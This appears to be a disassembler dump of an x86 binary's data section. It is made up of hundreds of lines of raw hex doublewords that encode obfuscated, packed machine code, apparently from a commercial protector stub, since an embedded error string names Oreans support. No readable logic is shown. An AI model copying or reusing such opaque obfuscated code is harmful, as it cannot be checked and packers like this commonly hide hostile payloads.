		dd 1D234FBAh, 9FC18140h, 0E961BFEBh, 6,	85CB2FA1h, 665161EEh
		dd 0BAEAEE81h, 0BF0F078Fh, 82EF81F6h, 815DB1B1h, 0C52797CEh
		dd 7EC7814Fh, 0BA5DB1B1h, 2E5EF55Bh, 0F01EB83h,	0FFFF9385h
		dd 0C3BA66FFh, 8E8C7h, 62B90000h, 4A094F7Bh, 0BE910C5h
		dd 9B000000h, 782AC62Ch, 982E301Ah, 565F8DADh, 61616060h
		dd 0ADC78158h, 0E800005Ah, 12h,	0DC014Ah, 0AF682BCEh, 0F8BE79h
		dd 5FA454CAh, 0F50D702h, 81h, 685A5E00h, 0
		dd 0CFE88166h, 13E95B66h, 6F000000h, 48DF0CC7h,	88ED4D27h
		dd 61E9CFDDh, 0AB2903DEh, 34FF9A33h, 8B59FC3Bh,	9F181C2h
		dd 81576F7Dh, 52D10D0h,	0FCC1813Ch, 0E9462C48h,	14h, 2BF9AA8h
		dd 46250677h, 0D0F4F802h, 0C176F426h, 124A248Ah, 319CE981h
		dd 51F81045h, 0D7C88166h, 1F048FAFh, 8166C68Bh,	83EFD4E6h
		dd 0BA6603EBh, 0B64B86D0h, 34FB817Eh, 0FFFFFA6h, 0D85h
		dd 0F1BF0F00h, 16E9h, 0B6C5A800h, 8FE9E45Fh, 0D4FFFFFFh
		dd 8A8CD25Dh, 984E1C01h, 0E9FF59CDh, 83h, 56525153h, 245C8B57h
		dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh
		dd 5785h, 785B8B00h, 1C245C03h,	324738Bh, 561C2474h, 8B207B8Bh
		dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
		dd 24540317h, 4C78320h,	0C084028Ah, 33A0874h, 4243E875h
		dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h
		dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 400E9CAh
		dd 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset loc_55FFFD+3
		dd offset dword_445750+0A8B0h
		dd 0
		dd 0C8E90000h, 89000010h, 4429F1B5h, 85858B06h,	6A06441Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0AB98C356h, 0AC7DD10h, 0F9C94F3Bh, 175D8501h
		dd 44390644h, 850F0424h, 6Fh, 0BDBD3160h, 66064425h, 21A5CB81h
		dd 7DBD8361h, 64421h, 55840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E59302C3h
		dd 8997A71Bh, 441FAD8Dh, 31FC6006h, 440C4D95h, 858D6106h
		dd 6443A65h, 60E0FFF5h,	12E9h, 56EA1E00h, 0EFA302F3h, 0C58163E3h
		dd 37B0F705h, 0F5959BFh, 8B61C2B7h, 440E2585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 201C93CBh, 128C0Fh, 890F0000h, 0Ch, 7E9h, 0B2F0DB00h
		dd 739B10Dh, 4244439h, 45850Fh,	8F0F0000h, 6, 25459589h
		dd 85C70644h, 64777A0h,	1, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0F5C35040h, 68E0F79h,	89000000h, 44009DBDh
		dd 89858906h, 60064409h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0D1C35747h, 2AD8BDA7h, 5E9399Ah, 0FC000000h
		dd 0
		dd 1B8h, 0E858700h, 0B064779h, 0FFF675C0h, 4402E9B5h, 98858F06h
		dd 6A064777h, 0FFFF6A20h, 44301595h, 69BD8306h,	64416h
		dd 6A0874h, 1C4D95FFh, 0BD830644h, 6441BE9h, 680D7401h
		dd 80h,	95FFFF6Ah, 6443015h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0EAC35242h,	37C9C848h, 3399D09h
		dd 2BF90644h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0DCCB2C9h, 0B7910F1Bh, 0B5898DB7h
		dd 6440755h, 2824548Bh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0D7C35040h, 4DB4DC75h, 57A56F8Ch, 19F98589h
		dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0ECA1ECC3h, 58C0Fh, 0FC600000h, 0E9615850h
		dd 0Dh,	83FDD9B9h, 18AB40C7h, 0DB1F5B8Eh, 3CBE0Fh, 0E8600000h
		dd 0Fh,	0D6D5EA07h, 1FAABE1Bh, 7370850h, 0F1C94F1h, 8Ah
		dd 958B5F00h, 6441D11h,	24740361h, 759D8924h, 66064421h
		dd 52006AADh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0E00A8A87h, 0A0B04A92h, 66606050h, 0CE8BF18Bh
		dd 95E68061h, 24440361h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 9BB0EB81h, 0C411CCF6h
		dd 11E9h, 0C4820C00h, 6A126980h, 0BACB7E63h, 4A9A6503h
		dd 0B5894088h, 64425ADh, 52506090h, 9E95A4BEh, 0E8310F28h
		dd 7, 71A765CEh, 5E09DD4Ah, 6660585Ah, 0E8599DBFh, 0Fh
		dd 80AE1BE6h, 0AD67D933h, 0A0A62612h, 5F9C0CB6h, 0E9506161h
		dd 0Ah,	0D8033FFFh, 0FB393D80h,	89905DA2h, 44311D95h, 78408B06h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h
		dd 0D88BBBD7h, 837133B8h, 4777A0BDh, 850F0006h,	102h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F7C35242h, 60508893h
		dd 52CA8B66h, 615FF78Bh, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DCC7C356h
		dd 5999A46Eh, 13C5B589h, 8D890644h, 6442949h, 98C0Fh, 0BE600000h
		dd 47F47E37h, 8B615E53h, 92C2444h, 4425AD95h, 0BD8B6006h
		dd 6440E1Dh, 61F3B70Fh,	13E990h, 4F560000h, 5B543FBAh
		dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh, 52505024h,	5E9h, 6AE32800h
		dd 310FFAEAh, 68D0Fh, 52500000h, 585A310Fh, 6A90585Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 9CE0C357h, 41858D2Eh, 6A06473Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8939C356h, 442589BDh, 29D0FF06h, 44239585h, 4403F906h
		dd 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0A0B8CFC3h, 1DE3D1C8h, 0FC60DD7Eh, 1DC18D8Bh
		dd 8B610644h, 6A1840h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 1803FFC3h, 0F59F6536h, 5E940h, 0EC450000h
		dd 8994E482h, 47779C85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 89632BB7h, 0CA067250h
		dd 8958957Ah, 44306995h, 78708B06h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0C3C35646h,	1A5D9589h, 0C6830644h
		dd 0FE91Ch, 0D47D0000h,	1A0F5E53h, 3C38EDBDh, 9E51DF6Bh
		dd 6A96D4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0A12F57C3h, 57389E0Dh, 7C81BEEBh,	2424h
		dd 870F1000h, 0F0h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0EAC35747h, 69BD01h, 0BD090644h, 64406E1h
		dd 0C38B6090h, 6890Fh, 800F0000h, 0
		dd 0FE95061h, 71000000h, 8C405217h, 0FC11B410h,	1CF39844h
		dd 29905180h, 440B358Dh, 24448B06h, 0D9858928h,	9006441Ch
		dd 0F605250h, 8Dh, 310F6100h, 6850Fh, 8E0F0000h, 0
aZxps		db 'ZXPИ',7,0
		align 10h
		dd 7568618Bh, 90D1A0F7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0EBC35545h, 0EB14288Bh, 2EF1BD89h, 8D890644h
		dd 64430F9h, 3B41858Dh,	8D890647h, 6441551h, 6AD0FFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0ECA52C3h, 9E9FC47h,	0CD000000h, 8B5DEFFDh, 0A418B1EAh
		dd 0BE996h, 449D0000h, 3005241Bh, 9AD6F2E3h, 2474031Dh
		dd 95BD8924h, 8906440Ah, 4429B9B5h, 31BD8D06h, 0E906440Eh
		dd 7, 703542F4h, 0ADB85F5Ah, 247C81F8h,	24h, 0E9870F10h
		dd 31000000h, 44219185h, 7E99006h, 13000000h, 0BC7679B7h
		dd 0E9502C78h, 12h, 1D0D6612h, 266AA778h, 0AA93998Eh, 0E1995C92h
		dd 6A90F2B8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 3635C351h, 29C7F1B8h, 4414CDB5h
		dd 24448B06h, 5E928h, 70F50000h, 18E779Ah, 442F39BDh, 8F0F5006h
		dd 12h,	52505250h, 585A310Fh, 8A0F310Fh, 0
		dd 489585Ah, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 7198E207h, 0F1027F5h, 680h, 918D8900h
		dd 8D06442Bh, 473B4185h, 88B0F06h, 0F000000h, 288h, 0FF616000h
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0F050178Fh, 0F8221291h, 24244403h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8DC35646h, 89606FA2h
		dd 4416B98Dh, 81B58B06h, 6106440Ch, 0CE960h, 379C0000h
		dd 9C10848Bh, 3CEF563Eh, 958B3B70h, 6440235h, 0EE9AB61h
		dd 6C000000h, 0B537F654h, 70EC3325h, 2FF0AE0Bh,	0FA8120h
		dd 0F000100h, 69282h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 10E9E7h, 0A7540000h, 460E1B86h
		dd 0CAFCAF65h, 0F8F4C088h, 0BD8D4B66h, 64408C5h, 6AADF5h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 674F39C3h, 81A75DF3h, 24247Ch, 0F100000h, 0CC87h, 128A0F00h
		dd 60000000h, 6E9h, 5BEE9F00h, 66BBCF3Fh, 0C9C0F681h, 52505061h
		dd 52505250h, 585A310Fh, 8C0F310Fh, 0
		dd 310F585Ah, 0F525060h, 50585A31h, 585A615Eh, 89240489h
		dd 441F618Dh, 24448B06h, 6E96028h, 9E000000h, 80972854h
		dd 81666042h, 61D786CEh, 52505061h, 0FA8B6660h,	0BE9h
		dd 71145E00h, 68B84739h, 0D0A33DF2h, 50310F61h,	840F52h
		dd 0F000000h, 5E931h, 12F80000h, 5A205A43h, 89585A58h
		dd 85292404h, 6440DB1h,	3B41858Dh, 6A0647h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 6E9A6C3h
		dd 0B5000000h, 39D1DE7Fh, 89D0FF67h, 4429F9B5h,	24440306h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0EDC2063Ah, 11E917h, 0D7030000h,	0DDEB4C5Ah
		dd 4A875C60h, 0AA7B5F13h, 90A3C3AAh, 17890Fh, 840F0000h
		dd 11h,	0CE9h, 8B17B000h, 419464A4h, 0CB95C06Fh, 830F500Bh
		dd 0Eh,	9E9h, 4556E400h, 0D88EB7A2h, 0F8906AA5h, 52006AABh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 666060CCh, 92DA7BFh,	4417B99Dh, 8D8B6106h, 64414C1h
		dd 69BD8D61h, 0F506440Dh, 7C81F9ADh, 2824h, 870F1000h
		dd 0B6h, 251D9501h, 60500644h, 61D88B66h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 9D75C353h, 5670E121h, 448BFCB9h, 8D312C24h, 6442169h
		dd 60525090h, 0F615E57h, 13E931h, 0D3F70000h, 0A37E0B20h
		dd 4160984Bh, 0B98BBA03h, 0DC3E627Ah, 50585AB7h, 12E9h
		dd 0A5314000h, 0EEBB8CB9h, 612D2EFFh, 44CE633Ah, 90313712h
		dd 0B99D8960h, 0F064425h, 0F8Eh, 9E800h, 4A490000h, 7E11C605h
		dd 5FC73069h, 41858D61h, 0E906473Bh, 0Eh, 71456FACh, 1FB86418h
		dd 9AEBA35Eh, 0D0FF5210h, 1EA59501h, 44030644h,	14E92824h
		dd 0F8000000h, 77456D7Bh, 8D6ADC23h, 8F89988Ah,	0F39058CCh
		dd 0ABC2C694h, 1AFD8D29h, 0FF5E0644h, 47779C8Dh, 9CBD8306h
		dd 64777h, 0C0330A75h, 8574B58Dh, 0E6FF0647h, 7C81AD56h
		dd 2824h, 0E771000h, 24448B50h,	858D502Ch, 6473B41h, 4403D0FFh
		dd 8B972824h, 98858ADFh, 84064777h, 3A0474C0h, 574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 4419F985h, 0FF5DE906h, 6A5EFFFFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E0BDC352h
		dd 0D9318C0Fh, 87D03B45h, 9E9h,	0A7571400h, 0FC0FD0D3h
		dd 816005AAh, 0BE5531C8h, 61FC8A3Dh, 19F9858Bh,	800F0644h
		dd 6, 0C118589h, 0E0D10644h, 0CE960h, 4DD0000h,	5F8B90C0h
		dd 124CD3E3h, 0BD8BF22Fh, 6441AD1h, 69850361h, 6A06440Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0A992C350h, 8D0FF62Bh, 0Eh, 820F60h, 81000000h
		dd 5BD5D2E6h, 0E9966172h, 10h, 0C334BB02h, 1E934D45h, 26B0A0D0h
		dd 67237054h, 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0D00E5DC3h, 406011F0h, 8E0F7D8Ah
		dd 1, 2E0C1F8h,	67D88160h, 89374ADBh, 440AC185h, 85036106h
		dd 6440E31h, 12E9h, 0FC730600h,	129DEC2Eh, 31E97F36h, 0D411FC6Ch
		dd 964B6757h, 0DB58B60h, 61064418h, 0FE9ADF8h, 0DF000000h
		dd 610CB1B6h, 50B2652Bh, 0C7B8FC45h, 7C81307Fh,	2424h
		dd 870F1000h, 0AAh, 0D8C0Fh, 8E90000h, 0CD000000h, 4657ED02h
		dd 504C432Ch, 8E0F5250h, 6, 310F5250h, 310F585Ah, 60616060h
		dd 585A6161h, 60240489h, 61FCC18Bh, 2824448Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 57C35646h, 0E950FC89h
		dd 14h,	60F9A6E1h, 1E565F98h, 8A12C9BDh, 75FF9BD7h, 867D4C74h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 5D07C350h, 3B41858Dh, 66600647h
		dd 8B1334B9h, 442CE9BDh, 0D0FF6106h, 2F98529h, 44030644h
		dd 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 4FBBDBC3h, 0F7CA349h, 958B60E8h, 644006Dh
		dd 118C0Fh, 0CE90000h, 3B000000h, 3C42253Ah, 0E372C755h
		dd 619CAB34h, 8820Fh, 890F0000h, 2, 44896160h, 6A1C24h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 5AA670C3h, 0EA394AB5h, 0FC05297h, 689h, 0B19D0100h
		dd 0E906441Ah, 8, 5F76DAC8h, 84DFB8A4h,	2E985C6h, 0C7000644h
		dd 47790E85h, 6, 0A085C700h, 64777h, 0E9000000h, 10h, 0D1744846h
		dd 0A20C5CF7h, 71DF4B38h, 0B5673192h, 53006AF5h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0AE5A08Bh, 6A61F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 3EF773C3h, 2529D59Fh, 0F8AC9FFFh
		dd 6A0008C2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0C144C357h, 9E9h, 3B7E5300h, 0B7524C93h
		dd 8BFCAEBEh, 440E3185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 20220DFDh, 0F78B580h
		dd 0C870F4Ah, 0F000000h, 68Fh, 8E0F00h,	6B000000h, 6A04D2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0DE97FC3h, 53000000h, 883645A2h, 5239227Ch, 245ABF22h
		dd 96F5C203h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	39C35242h, 0C4165A41h, 0CC5F8E54h, 29950108h, 0AD064407h
		dd 0F658D89h, 7C810644h, 2424h,	870F1000h, 12Bh, 11880Fh
		dd 0CE90000h, 0D9000000h, 90D2B973h, 0E5FE170Dh, 0FA9AA98h
		dd 685h, 49BD0900h, 50064422h, 0EE95250h, 99000000h, 0EF5FE744h
		dd 77AFA6AFh, 0E6CE558Dh, 0F310FA7h, 1185h, 0CE900h, 39430000h
		dd 75F29051h, 556B6289h, 585A6A5Ch, 0F5240489h,	2824448Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CAC35343h
		dd 0E076F566h, 0EE9FC60h, 50000000h, 60C2AB12h,	0B54B3E0Bh
		dd 337646D1h, 0B9606177h, 1CDBD77Ch, 96CA1CBFh,	0E9906145h
		dd 0Eh,	0B64ED257h, 7F73D7D2h, 0B660770Ch, 505051CCh, 0DE952h
		dd 0CB7A0000h, 0EE02D466h, 0F4216E0h, 0F2EA1DEh, 68E0F31h
		dd 50000000h, 5A310F52h, 90585A58h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 33C35141h, 8CF1AFD0h, 8DEFD0F3h
		dd 473B4185h, 0D0FFFC06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 7FC35343h, 4016FE56h,	39952920h, 0E906440Dh
		dd 0FFFFFCE2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	2DC35747h, 2EAEA15Eh
		dd 0DE92Eh, 8EB00000h, 79A4CE83h, 0A7ED9255h, 8DD25209h
		dd 478B5885h, 0F1BD2906h, 50064431h, 12E9h, 0E0CEE700h
		dd 655F3D36h, 4AD9CCBEh, 0C24DBAB5h, 89485EA2h,	8E0F2404h
		dd 0Bh,	6E9h, 0E3A4E800h, 64F957C6h, 35FFh, 0EE90000h
		dd 39000000h, 187F1FDFh, 0A6513732h, 0E1D25029h, 0AE9C3h
		dd 609E0000h, 0E227B17h, 0EBE4376Fh, 6A24048Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B4B3C357h, 76CB6A0Ah, 1F95BD09h, 85890644h,	644254Dh
		dd 258964F8h, 0
		dd 10819589h, 8DF50644h, 47896385h, 6089F806h, 12E901h
		dd 0A5C40000h, 21AAC09Eh, 0E3458F0h, 788B1B09h,	685C3395h
		dd 24DE9FCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8BFC0CC3h, 0E8DBh, 815D0000h, 47895CEDh
		dd 0FF9CBC06h, 0BD830012h, 6441BE9h, 8B187400h,	44159185h
		dd 0C606h, 2F3D858Bh, 0C60644h,	0E195FF00h, 60064420h
		dd 73A4B5FFh, 858D0647h, 64773A8h, 0A0858D50h, 50064775h
		dd 9A195FFh, 0C4830644h, 6060610Ch, 1CD99D89h, 0B9660644h
		dd 961C7E4h, 4424E1BDh,	95896106h, 6440751h, 75A0B58Dh
		dd 6A0647h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 5FACC9C3h, 0F86E445Ah, 225D8529h,	0BD8D0644h
		dd 6440471h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	8EC35343h, 6820F2Ah, 9000000h, 4424E19Dh, 3E8006h
		dd 6A840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0DB8A0EC3h, 0E9CCF348h, 12h, 98D404E1h
		dd 0E695FDA3h, 0B2DC8BCh, 89BB8DD5h, 89A4F378h,	442C4185h
		dd 0FFB3E906h, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0C42719C3h, 85297C97h, 6443209h
		dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 4ACBEE4Fh, 0AADB5D7Fh, 21058D89h
		dd 0B8F80644h, 7, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	45C35242h, 94E6FDBAh, 0E1185C7h, 10644h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 32219CC3h, 8D5FB4A6h, 444E558Dh, 41953106h, 0FF06442Ch
		dd 55006AE1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E9C8310Dh, 8, 9FA15158h, 5005841Eh, 8850Fh
		dd 31600000h, 4406898Dh, 5C8B6106h, 0E8550C24h,	0
		dd 62ED815Dh, 8B06478Bh, 0B883h, 0A4858900h, 8D064773h
		dd 47895585h, 0B8838906h, 5D000000h, 60C3C033h,	9802ACBFh
		dd 0FE957h, 0EFED0000h,	8F643D8Dh, 6C2BA271h, 5FE8925Eh
		dd 0AE96166h, 0AB000000h, 1348FBEFh, 1B753455h,	6A6017h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 7B4E51C3h, 4830FEBh,	60000000h, 8D615E52h, 478DA985h
		dd 8E906h, 30890000h, 0DFE812A7h, 0E990F734h, 5, 0A56E9FF1h
		dd 0B5605020h, 7E97Fh, 4BAA0000h, 8DA9FAE1h, 0F9061C7h
		dd 1E87h, 81666000h, 0E99E14E2h, 12h, 238B746Ah, 14602510h
		dd 41CE36E3h, 0C67310E1h, 64613067h, 35FFh, 8B600000h
		dd 442215BDh, 61F78B06h, 258964h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0F88FC352h, 0EE9h, 41C7EA00h, 0D20EEF58h, 0D527205Fh
		dd 8D406FC1h, 478E3485h, 6089F906h, 50006A01h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0B3463410h
		dd 60E8FC95h, 49B58957h, 5F06441Ah, 71EF8166h, 85C66100h
		dd 64402E9h, 0CE9604Fh,	5E000000h, 0FEA4954Bh, 0DA024854h
		dd 0FBD85B8h, 689h, 85B58B00h, 6106442Eh, 5530868h, 128B0FB2h
		dd 50000000h, 0F525052h, 0F585A31h, 840F31h, 5A000000h
		dd 24048158h, 4CC32122h, 8A60F960h, 0D98B66FDh,	0B5FF6161h
		dd 64417E9h, 0B8D0Fh, 6E90000h,	2A000000h, 5E555DA9h, 0A18D0199h
		dd 8D064419h, 4777AF85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 26D2BFEAh, 0C3E38FE6h
		dd 9E9h, 0F7C22000h, 4033D997h,	0D0FFDA67h, 8820Fh, 8B0F0000h
		dd 2, 0C7E96160h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0B8D8C351h,	0F49E7133h
		dd 9239E2EEh, 11860Fh, 890F0000h, 0Bh, 6E9h, 0AB1A5500h
		dd 8B8F768Ah, 550C245Ch, 0E8h, 0ED815D00h, 6478DB3h, 2D7D858Bh
		dd 85890644h, 64417E9h,	0E25858Bh, 85890644h, 64403C9h
		dd 1D85858Bh, 85890644h, 64421D9h, 2E985C6h, 0C7000644h
		dd 47790E85h, 6, 34858D00h, 8906478Eh, 0B883h, 0C0335D00h
		dd 518D31C3h, 6A064419h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 4086C355h, 0E92A5430h
		dd 9, 0F098FB9Fh, 0FC8D7CE9h, 74BCF520h, 600012FFh, 7C5958Bh
		dd 860F0644h, 3, 61CFBF0Fh, 58F64h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 3A2EC355h, 0D7D4915Ah, 0E9557335h, 0Dh, 13DB93B8h, 0DCDC9DDEh
		dd 5F0641EDh, 0C483F9B4h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0D5B68BB9h
		dd 0E9A2A10Ah, 0Fh, 2E0315FBh, 15CF39A9h, 81DA85EFh, 6089F61Eh
		dd 0BD89F48Ah, 6440895h, 4EB6161h, 1B4AEA0Dh, 482E9h, 0B22A9800h
		dd 3C1251Bh, 0B02C94AAh, 2BA2719h, 0B13395ABh, 0AF23A18h
		dd 0BF81289Ch, 0B359C48h, 0B38D2498h, 7F3B9252h, 5D5841Bh
		dd 0A0F6C2E9h, 6ED64F12h, 15CF340Ah, 7CE5AD8Ch,	7C33E442h
		dd 553AC281h, 73990B1h,	12CA399Eh, 2F94AA33h, 0B2122CB5h
		dd 2D0CB82Dh, 9A84FFB4h, 359C48BDh, 0FE61980Bh,	0C930903Bh
		dd 258CAD8Ch, 0AD34A81Bh, 29B03493h, 13002A51h,	56680CB0h
		dd 0CCED74F0h, 0B2132D84h, 0AD325632h, 0C9308FEEh, 2FB6FEDFh
		dd 0AE0E754Bh, 259F0937h, 25D34C04h, 0ECC93090h, 605EC775h
		dd 49C75E06h, 7214E832h, 9BB2816h, 82F9B190h, 0AF53B398h
		dd 0EAD401F4h, 7253CA7Ah, 1734F100h, 1A5200F5h,	5C4Ah
		dd 0D64FF800h, 8FAE1671h, 93D08916h, 96EDC930h,	58CBF58Ch
		dd 145C7DE4h, 0F4B3C222h, 17301h, 15C10000h, 4008BC2Bh
		dd 0C75E067Eh, 5EC88DF9h, 947D3CA3h, 6F4EC930h,	0C8F66F4Eh
		dd 377CE557h, 4B2FE24Ch, 9409B02Fh, 0E3C2C930h,	3094BD7Ch
		dd 672F0EC9h, 0DE77ED59h, 68C183E0h, 74D94FDAh,	0EB725311h
		dd 78EC71D5h, 557455CCh, 7DA9D2CCh, 278E3690h, 0A138AC19h
		dd 20B9239Fh, 2D121C67h, 1F4B1C9h, 6F6Ah, 0D94FD800h, 54CCF26Bh
		dd 413A71E8h, 560E78D5h, 0FD67C1FFh, 0C73E0064h, 0EDA5841Dh
		dd 0AACE6ED3h, 0D94F47D8h, 7D3524D4h, 4ED8A3E4h, 0F4408DE9h
		dd 84E09201h, 0EB2564AEh, 60580840h, 0EA000000h, 0B12ED94Fh
		dd 0C930940Ah, 5AC3E2C3h, 0E040FD64h, 0B6C4E57Ch, 384B6A79h
		dd 59CBD08h, 831ACA3Bh,	0E9745BDh, 4DBF6B10h, 65D25C27h
		dd 5AE84103h, 0F46DD74Fh, 3094AD6Bh, 0AB770CC9h, 1F3D6614h
		dd 4CDA06AFh, 0D1F069D3h, 168EB8F0h, 0DF01F42Bh, 0Bh, 0A01D85BBh
		dd 23029B41h, 4FF84A02h, 510B76D3h, 51C8E9C8h, 0D74EF66Fh
		dd 4FB9CBAFh, 96CAA333h, 0E24C377Fh, 6AF0D75h, 7BE95C62h
		dd 0CD8BC3E2h, 138CE825h, 0CF745DB9h, 0B6881130h, 3E974Dh
		dd 27B821A3h, 0C2EC4572h, 0AD34A81Bh, 0B38D2F93h, 9148D752h
		dd 3AC2EC45h, 0BDA33A1Bh, 8AE05CC6h, 5BC825F1h,	57E40E9h
		dd 8BF8C65Fh, 255E40D9h, 1C2246F9h, 82A33AAAh, 0EC455E1Dh
		dd 64E6FC2h, 0C35CCB38h, 0C2EC4518h, 18B190B1h,	0B064B62Eh
		dd 1167FFBh, 37CD0000h,	2A9A0D9Bh, 1233B114h, 0C1A3E976h
